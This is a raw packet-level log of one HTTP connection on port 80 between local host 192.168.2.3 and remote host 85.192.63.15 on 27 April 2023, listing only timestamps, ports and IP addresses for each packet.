Apr 27, 2023 07:42:01.376749992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.376794100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.376827002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.376832008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.376888037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.376935005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.378053904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.378102064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.378134966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.378166914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.378194094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.378220081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.378231049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.378272057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.378309011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.379609108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.379653931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.379698992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.379720926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.379734993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.379761934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.379779100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.379810095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.379812002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.379856110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.379880905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.379899979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.379934072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.379947901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.379995108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.380034924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.384650946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.384699106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.384742022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.384773016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.384777069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.384809971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.384821892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.384854078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.384876966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.384915113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.384922981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.384957075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.384979010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.385001898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.385014057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.385037899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.385037899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.385076046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.385104895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.386291981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.386338949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.386384964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.386423111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.386468887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.386504889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.386552095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.386571884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.386599064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.386617899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.386652946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.386662960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.386701107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.386724949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.387700081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.387748957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.387784004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.387828112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.387830019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.387859106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.387868881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.387928009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.387928009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.392673016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.392719030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.392762899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.392780066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.392798901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.392827034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.392842054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.392875910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.392878056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.392920017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.392963886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.392966032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.392997980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.393017054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.393060923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.393105030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.396173000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.396222115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.396254063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.396327019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.396387100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.396704912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.396754026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.396802902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.396847963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.396847963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.396884918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.396961927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.397610903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.397692919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.397727013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.397738934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.397769928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.397797108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.397814989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.397845030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.397850990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.397893906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.397927046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.402617931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.402664900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.402699947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.402745008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.402750969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.402779102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.402796030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.402827978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.402849913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.405797958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.405849934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.405885935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.405935049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.405951977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.405972004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.406008005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.406048059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.424230099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.424294949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.424340963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.424374104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.424417973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.424488068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.424504995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.424535990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.424547911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.424581051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.424592018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.424602985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.424638033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.424658060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.424704075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.424705982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.424746037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.424767017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.424812078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.426376104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.426424026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.426469088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.426489115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.426505089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.426525116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.426525116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.426719904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.430953026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.431006908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.431039095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.431083918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.431130886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.431171894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.431176901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.431216002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.431252003 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.431252956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.431292057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.433748007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.433789015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.433878899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.434006929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.434055090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.434072971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.434092045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.434154987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.439482927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.439537048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.439584017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.439621925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.439642906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.439694881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.439694881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.440243006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.440279007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.440327883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.440371037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.440397978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.440418959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.440455914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.440478086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.440525055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.442094088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.442142963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.442188025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.442223072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.442239046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.442282915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.442305088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.443522930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.443572998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.443619013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.443648100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.443659067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.443698883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.443721056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.443774939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.445328951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.445363998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.445416927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.445442915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.445468903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.445483923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.445503950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.445538998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.445564985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.448570967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.448607922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.448689938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.448760033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.448807001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.448827982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.448843956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.448873043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.448895931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.451847076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.451893091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.451929092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.451972961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.451989889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.452008963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.452027082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.452059031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.452059031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.458354950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.458412886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.458436966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.458458900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.458467960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.458508015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.458519936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.458549976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.458585024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.458616018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.460249901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.460338116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.460366964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.460382938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.460395098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.460416079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.460448027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.460452080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.460472107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.460517883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.461606026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.461651087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.461695910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.461709023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.461733103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.461757898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.461807013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.466772079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.466835022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.466867924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.466906071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.467015028 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.469965935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.470001936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.470045090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.470088959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.470122099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.470155954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.470184088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.470184088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.470259905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.472969055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.473001957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.473046064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.473090887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.473125935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.473165035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.473233938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.474844933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.474912882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.474961042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.474997044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.475083113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.475153923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.476284981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.476320982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.476366997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.476411104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.476422071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.476447105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.476453066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.476488113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.476535082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.477916956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.477952003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.477998972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.478033066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.478044033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.478071928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.478079081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.478106976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.478116989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.478177071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.478177071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.479454994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.479490042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.479537964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.479568005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.479588032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.479612112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.479691029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.484513998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.484587908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.484633923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.484668016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.484703064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.484713078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.484739065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.484752893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.484767914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.484801054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.484805107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.484847069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.484850883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.484886885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.484894037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.484930992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.484935045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.484961987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.485004902 CEST	49697	80	192.168.2.3	85.192.63.15
